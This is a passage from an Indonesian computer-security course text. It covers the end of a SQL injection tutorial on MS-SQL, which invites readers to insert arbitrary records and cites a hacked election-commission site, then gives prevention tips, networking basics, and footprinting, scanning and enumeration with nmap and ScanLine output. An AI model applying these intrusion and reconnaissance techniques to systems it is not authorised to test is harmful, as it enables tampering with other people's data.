tb_news.NewsCatId => numeric tb_news.EntryDate => datetime tb_news.Title => nvarchar tb_news.Content => tb_news.FotoLink => tb_news.FotoType => bit data tb_news.review => tb_news.sumber => char tb_news.dateagenda => datetime Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan pengetahuan anda. Anda bisa men-insert berita yang bisa anda tentukan sendiri isinya. Halaman | 42
Inilah mengapa hole di MS-SQL Server ini demikian berbahaya. Perkiraan saya, nama-nama partai di situs KPU yang di-hack oleh Shizoprenic, juga ada di tabel-tabel suatu database, jadi tetap bisa dimasuki dengan cara SQL Injection ini. ****************************************************** KHUSUS BUAT ADMIN & WEB PROGRAMMER !!! ****************************************************** Cara pencegahan yang umum digunakan : 1. Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa di inject dengan perintah yang panjang. 2. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation). 3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan. 4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan. 5. Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab. Sumber : http://www.sekuritionline.net/plugins/p2_news/printarticle.php?p2_articleid=7
Halaman | 43
8 PENGAMANAN JARINGAN 8.1 KONSEP JARINGAN
Gambar 8.1 Jaringan sederhana Pada gambar di atas menunjukan bentuk jaringan sederhana sebagai dua peralatan terhubung melewatkan beberapa media oleh perangkat keras dan perangkat lunak yang menyebabkan terjadinya komunikasi. Situasisituasi yang ada pada jaringan adalah: §
Peralatan sederhana client, yang digunakan untuk komunikasi user-ke-komputer, biasanya adalah sebuah PC atau workstation, sehingga client mempunyai tempat penyimpanan dan kemampuan pemrosesan.
§
Jaringan dikonfigurasikan sebagai client tunggal saja yang terhubung ke server tunggal. Namun umunya banyak client berinteraksi dengan banyak server.
§
Pelayanan jaringan sering disediakan oleh banyak computer. Sebagi pengguna komunikasi tunggal melakukan hubungan bolak-balik dari client ke server, memungkinkan untuk pelewatan melalui beberapa computer tetapi menghentikan sementara pihak lainnya untuk interaksi signifikan.
System komputasi tunggal dalam jaringan biasanya disebut dengan node dan processor (computer) disebut host. Hubungan antara dua host diketahui sebagai sebuah link. Workstation adalah peralatan computer enduser , biasanya dirancang untuk user tunggal. Cara jaringan dikonfigurasi dalam unsure node dan koneksinya disebut dengan topology jaringan.
Gambar 8.2 Jaringan yang lebih kompleks Beberapa karakteristik umum jaringan adalah: Anonymity (sesuatu tanpa nama), sebuah jaringan menghilangkan sebagian besar petunjuk, seperti appearance (rupa), suara, atau konteks, dengan mana kita mengenali acquaintances (kenalan). Automation (otomatisasi). Beberapa jaringan, satu atau kedua endpoint, demikian pula semua titik intermediate (antara), dilibatkan dalam komunikasi yang diberikan oleh mesin dengan hanya pengawasan manusia yang minimal. Distance (jarak). Banyak jaringan yang terhubung endpoint secara fisik jauh terpisah. Opaqueness (tidak tembus). Karena dimensi jarak disembunyikan, user tidak dapat memberitahukan apakah remote host berada dalam ruang sebelah atau dalam daerah yang berbeda. Halaman | 44
Routing diversity (Keanekaragaman route). Untuk pemeliharaan atau menambah kepercayaan dan kinerja, routing antara dua endpoint biasanya dinamis. Yaitu interaksi yang sama dapat mengikuti salah satu jalur melalui jaringan kali pertamanya dan jalur yang berbeda di kali keduanya. Tiga dimensi jaringan yang secara pasti berhubungan dengan kemanan jaringan adalah: 1. Boundary (batasan). Batasan membedakan elemen jaringan dari elemen diluarnya. 2. Ownership (kepemilikan). Sangat sulit untuk mengetahui siapa pemilik dari setiap host dalam jaringan. 3. Control. Jika kepemilikan tidak jelas, control harus ada. Model Referensi OSI Layer
Name
Activity
7
Application
User-level data
6
Presentation Standardized data appearance, blocking, text compression
5
Session
Sessions or logical connections between parts of an application; message sequencing, recovery
4
Transport
Flow control, end-to-end error detection and correction, priority service
3
Network
Routing, message blocking into uniformly sized packets
2
Data Link
Reliable data delivery over physical medium; transmission error recovery, separating packets into uniformly sized frames
1
Physical
Actual communication across physical medium; individual bit transmission
Kontribusi-kontribusi setiap layer pada referensi OSI:
§ § § § § §
Layer 6 memecahkan data pesan asli menjadi blok-blok Pada session (layer 5) session header ditambahkan untuk menampilkan pengirim, penerima dan beberapa rangkaian informasi lainnya. Layer 4 menambah informasi mengenai koneksi logis antara pengirim dan penerima Layer 3 menambah informasi routing dan membagi pesan menjadi unit yang disebut paket (packet), standar unit komunikasi dalam jaringan Layer data link (2) menambahkan header dan trailer untuk menyakinkan rangkaian yang benar dari blokblok pesan dan mendeteksi dan memperbaiki kesalahan pengiriman Bit-bit individu pada pesan dan informasi pengontrol ditransmisikan dalam media fisik oleh level 1
TCP/IP (Transmission Control Protocol/Internet Protocol) merupakan protocol bertumpuk yang digunakan untuk kebanyakan komunikasi wide area network. TCP/IP didefinisikan oleh protocol-protocol, bukan layer, namun dapat kita jadikan menjadi empat lapis: application, host-to-host (end-to-end) transport, internet dan physical. Walaupun TCP/IP sering digunakan sebagai bentuk tunggal, kenyataannya menunjukkan dua protocol Halaman | 45
yang berbeda: TCP mengimplementasi session komunikasi atas yang terhubung dalam banyak protocol transport IP dasar. Faktanya, protocol ketiga, UDP (user datagram protocol) juga bagian yang diperlukan dari deretan. Layer transport menerima pesan-pesan variable-length dari lapisan aplikasi. Layer transport memecahnya menjadi unit-unit ukuran yang dapat diatur, dikirm dalam paket (packet). Layer internet mengirim paket lapisan aplikasi dalam bentuk datagram, melewatkannya ke koneksi fisik yang berbeda berdasarkan pada tujuan data (disediakan dalam alamat yang menampingi data). Lapisan fisik terdiri dari device driver untuk melakukan komunikasi data bit per bit. Layer
Action
Responsibilities
Application Prepare messages from
user interactions User interaction, addressing
Transport
Convert messages to packets
Sequencing, reliability (integrity), error correction
Internet
Convert packets to datagrams
Flow control, routing
Physical
Transmit datagrams as individual bits Data communication
Protocol UDP lebih cepat dan kecil dibandingkan dengan TCP, karena UDP tidak menyediakan pemeriksaan kesalahan pengiriman dan perbaikan seperti halnya pada TCP. Paket TCP merupakan struktur data yang terdiri dari nomor urutan, nomor acknowledgment untuk menghubungkan paket pada session komunikasi, flag, sumber dan tujuan nomor port (nomor yang menunjukkan keterangan aplikasi yang berjalan pada komputer). Pelayanan internet: Layer
TCP Protocols
UDP Protocols
Application Protocol
SMTP (Simple Mail Transfer Protocol): used for communicating e-mail HTTP (Hypertext Transfer Protocol): used for communicating web pages FTP (File Transfer Protocol): used for receiving or sending files Telnet (Terminal Emulation Protocol): used for performing remote operations as if directly connected to the host from a terminal and others
SNMP (Simple Network Monitoring Protocol): used for controlling network devices Syslog (System Audit Log): used for entering records in the system log Time: used for communicating and synchronizing time among network devices and others
Transport
TCP
UDP
Internet
IP
IP
Physical
Data communication
Data communication
8.1.1 TIPE-TIPE JARINGAN Local Area Network (LAN) menjangkau jarak yang dekat, umumnya di dalam gedung. Biasanya LAN menghubungkan beberapa peralatan kecil seperti PC, printer dan peralatan penyimpanan file.
Halaman | 46
Karakteristik-karakteristik LAN: § § § §
Kecil. Umunya tidak kurang dari 100 user yang terhubung dalam sebuah LAN, dengan jarak kurang dari 3 km atau 2 mil. Terkontrol secara lokal. Perlengkapan dimiliki dan diatur oleh sebuah organisasi. Terlindungi secara fisik. LAN berada dalam lingkungan kerja sebuah perusahaan atau organisasi, sehingga pihak asing yang berbahaya biasanya tidak dapat mencapai peralatan LAN Ruang lingkup terbatas. Banyak LAN mendukung sebuah group, departemen, lantai, aktifitas, atau geografis lainnya atau unit administrative.
WAN (Wide Area Network) berbeda dari LAN dalam ukuran dan jarak (jangkauan lebih luas membentang secara geografis lebih luas dari LAN) serta control atau kepemilikan. Karakteristik WAN umumnya adalah: § § §
Kontrol tunggal. Umumnya sebuah organisasi dapat merespon dan mengontrol WAN. Bahkan jika jaringan di-share oleh beberapa subscriber (langganan) yang tidak terhubung, satu organisasi biasanya menentukan siapa saja yang bergabung dalam jaringan. Mencakup jarak yang signifikan. Jarak yang lebih luas dari LAN Secara fisik diarahkan (sering, tapi tidak selalu). Sebagian besar jaringan WAN menggunakan media komunikasi yang disediakan secara public, dimana menjadi target relative. Bagaimanapun, faktanya bahwa banyak subscriber (langganan) saling berbagi media tersebut membantu perlindungan kerahasiaan subscriber lainnya.
Internetwork (Internet) menghubungkan dua atau lebih jaringan-jaringan yang terpisah baik dalam pengelolaan ataupun pengontrolan yang terpisah. Kenyataannya Internet secara bebas dikontrol oleh Internet Society (ISOC) dan Internet Corporation for Assigned Names and Number (ICANN). Organisasi tersebut menentukan aturan permainan untuk menyakinkan bahwa semua user diperlakukan dengan pantas dan mereka mendukung standar protocol sehingga user-user dapat berkomunikasi. Karakteristik-karateristik Internet: § Federasi. Hampir tidak ada pernyataan umum yang dapat dibuat tentang pengguna Internet atau bahkan penyedia pelayanan jaringan (ISP). Beberapa dapat mengakses jaringan melalui organisasi bisnis atau pemerintahan dimana keanggotaannya sangat terbatas, sedangkan lainnya dapat memperoleh akses dengan hanya membayar setiap bulannya. § Enormous (besar). Tidak seorang pun tahu seberapa besar Internet. § Heterogen (beraneka ragam). Mungkin setidaknya satu dari berbagai macam hardware dan software komersial tersedia yang terhubung ke Internet § Secara fisik dan logis diarahkan. Sejak tidak ada control akses global, prakteknya beberak penyerang dapat mengakses internet, dan karena koneksi yang kompleks, menjangkau secara praktir berbagai sumber daya dalam jaringan.
8.2 ANCAMAN DALAM JARINGAN Apa yang menyebabkan lemahnya jaringan: § Anonymity (Nama-nama yang tidak jelas) § Banyak titik serang target atau sumber § Sharing (berbagi pakai) § System yang kompleks § Perimeter yang tidak diketahui § Jalur yang tidak diketahui Motifasi para penyerang jaringan: • Tantangan • Ketenaran atau popularitas • Uang • Ideologi
Halaman | 47
8.3 TEKNIK-TEKNIK PENYERANGAN 8.3.1 FOOTPRINTING Footprinting merupakan langkah awal yang dilakukan penyerang dengan mencari berbagai macam informasi maupun identifikasi sistem yang akan diserangnya. Teknik-teknik yang dilakukan menyesuaikan teknologiteknologi yang digunakan. Technology Internet
Identifies Domain Name Network blocks Specific IP addresses of systems reachable via the Internet TCP and UDP services running on each system identified System architecture (for example, SPARC vs. X86) Access control mechanisms and related access control lists (ACLs) Intrusion detection systems (IDSes) System enumeration (user- and group names, system banners, routing tables, SNMP information) Intranet Networking protocols in use (for example, IP, IPX, DecNET,and so on) Internal domain names Network blocks Specific IP addresses of systems reachable via the intranet TCP and UDP services running on each system identified System architecture (for example SPARC vs. X86) Access control mechanisms and related access control lists (ACLs) Intrusion detection systems System enumeration (user- and group names, system banners, routing tables, SNMP information) Remote Access Analog/digital telephone numbers Remote system type Authentication mechanisms Extranet Connection origination and destination Type of connection Access control mechanism
Langkah-langkah melakukan Footprinting: 1. Menentukan ruang lingkup aktifitas footprinting. Misalnya melakukan pencarian informasi yang di lokasi yang ditentukan dengan membatasi aktifitas daripada melakukan pencarian ke seluruh organisasi. 2. Mendapatkan otorisasi yang tepat 3. Mencari informasi-informasi yang tersedia secara umum, misalnya web page perusahaan, organisasi yang berhubungan, rincian lokasi, nomor telepon, alamat email dan lain sebagainya. 4. Whois & DNS Enumeration. Langkah pertama dalam tahapan ini dalah mengidentifikasi nama dan jaringan asosiasi yang terhubung dalam organisasi. Organisasi semacam ICANN (Internet Corporation for Assigned Names and Numbers; http://www.icann.org) merupakan organisasi yang mengatur fungsi pemberian IP dan nama dalam jaringan Internet. Untuk mendapatkan identifikasi target dapat dilakukan dengan bantuan tooltool seperti WSPing, Propack, SamSpade.org (Web Interface), Netscan. 5. DNS Interrogation. Melakukan query terhadap DNS target untuk mendapatkan informasi yang lebih rinci lagi. 6. Memata-matai Jaringan. Cara ini dapat menentukan topology jaringan yang digunakan target dengan menggunakan tool seperti traceroute.
8.3.2 SCANNING Proses scanning dapat diumpamakan seperti mencari pintu-pintu atau jendela-jendela yang dapat kita lalui agar dapat memasuki sistem target. Langkah-langkah dari scanning adalah: • Menentukan bahwa sistem dalam keadaan menyala, dapat menggunakan beberapa tool seperti nmap dan superscan.
Halaman | 48
• •
Menentukan apakah aplikasi service dalam keadaan running atau listening dapat dilakukan dengan cara port scanning. Tool yang dapat digunakan antara lain adalah strobe (TCP scanning), udp_scan, netcat, nmap, superscan, wups (Windows UDP Port Scanner), ScanLine. Mendeteksi sistem operasi yang digunakan oleh target dengan cara aktif (melakukan pengiriman paket ke setiap sistem) atau pasif (melakukan monitoring). Cara mencari informasi tersebut dapat dilakukan via FTP, Telnet, HTTP, SMTP, atau dapat juga menggunakan tool seperti nmap dan queso. Teknik yang lebih akurat lagi yaitu stack fingerprint (suatu teknologi yang membolehkan mengetahui setiap sistem operasi host dengan derajat probabilitas yang tinggi).
8.3.3 ENUMERATION Enumeration melibatkan koneksi-koneksi yang aktif dan melakukan query secara langsung. Teknik-teknik enumeration antara lain adalah: • Basic Banner Grabbing yaitu sebagai penghubung ke aplikasi remote dan mengamati keluarannya, dan hal tersebut dapat menjadi informasi kejutan ke remote attacker. Tool yang digunakan misalnya telnet dan netcat. • Enumerasi pelayanan-pelayan umum jaringan. Misalnya enumerasi FTP (TCP 21), Telnet (TCP 23), SMTP (TCP 25), DNS (TCP/UDP 53) dan lain sebagainya.
Halaman | 49
9 PENGAMANAN WEB Web dikonstruksi dari program khusus yang disebut Web Servers yang menyediakan informasi dalam jaringan. Program lain (Web Browser) digunakan untuk dapat mengakses informasi yang disimpan dalam server dan menampilkannya ke dalam layar user. Program yang diletakkan dibelakang halaman web dibuat dengan protokol yang disebut Common Gateway Interface (CGI). Beberapa tantangan dalam keamanan web antara lain adalah: • Penyerang mungkin saja dapat menelusuri bug dalam web server atau dalam skrip CGI untuk mendapatkan akses yang tidak ter-otorisasi terhadap file-file dalam sistem, atau mengontrol seluruh sistem • Informasi-informasi penting dalam web server memungkinkan didistribusikan ke individu tidak terotorisasi. • Informasi-informasi penting yang ditransmisikan antara web server dan browser dapat di-intercept. • Bug dalam web browser dapat membolehkan info penting dalam web client akan diperoleh dari web server yang buruk. Ancaman dan Kelemahan Web Dua kategori yang menjadi kelemahan web adalah: 1. Kelemahan melalui platform misal Linux, Windows, Apache dan Oracle 2. Target kelemahan dari aplikasi itu sendiri seperti kesalahan pada pemrograman aplikasi web itu sendiri. Komponen-komponen yang membangun aplikasi web adalah: • Web server: komponen ini melayani halaman-halaman web yang akan ditujukan bagi browser user. Misalnya Apache dan IIS. • Application Server: komponen ini memanipulasi, menerjemahkan dan menyajikan data bagi user. Aplikasi server dapat berupa bagian dari web server misalnya PHP dan Apache atau Asp.NET dan IIS. Di lain pihak ada yang secara fisik server terpisah misalnya mesin Tomcat servlet. • Database: komponen ini menyimpan semua data yang dibutuhkan oleh aplikasi. Sedangkan pengguna berinteraksi dengan we dan aplikasi server. Beberapa pelanggaran-pelanggaran umum yang mengancam keamanan web adalah: • Mengakses rincian subcriber untuk mengirim spam e-mail • Akses yang tidak berhak dari data penting untuk membuat identitas palsu • Mengintai jaringan secara diam-diam • Mempromosikan suatu organisasi kepada web site orang lain • Menggunakan skrip otomatis untuk mencoba log in ke sistem komputer • Memperoleh akses tidak sah ke server mail • Memperoleh akses tidak sah ke jaringan untuk mendapatkan informasi • Serangan virus • DNS hijacking (pembajakan) • Serangan DoS (Denial of Service) • Serangan DdoS (Distributed DoS) Tipe-tipe ancaman: • Ancaman akibat kecelakaan • Ancaman software berbahaya (malware) • Ancaman otorisasi • Ancaman aplikasi • Ancaman privacy • Ancaman kontrol akses
9.1 PORT SCANNING DAN INDENTIFIKASI PELAYANAN Tool yang umum sebagai port scanner yaitu nmap yang berbasis Unix walaupun ada juga yang telah disesuaikan dengan paltform Windows. Contohnya: Halaman | 50
[localhost:~]% nmap 192.168.0.43 Starting nmap V. 3.20 ( www.insecure.org/nmap/ ) Interesting ports on target (192.168.0.42): (The 1596 ports scanned but not shown below are in state: closed) Port State Service 22/tcp open ssh 80/tcp open http Nmap run completed -- 1 IP address (1 host up) scanned in 0.481 seconds Scanline merupakan port scanner berbasis Windows yang lebih sederhana dibandingkan Nmap yang mesti menginstall lagi driver WinPCAP. C:\>sl –bp –o website.sl 192.168.0.43 192.168.0.43 TCP ports: 80 UDP ports: TCP 80: [HTTP/1.0 200 OK Connection: Keep-Alive Date: Wed, 19 Mar 2003 00:18 :38 GMT Set-Cookie:]
Halaman | 51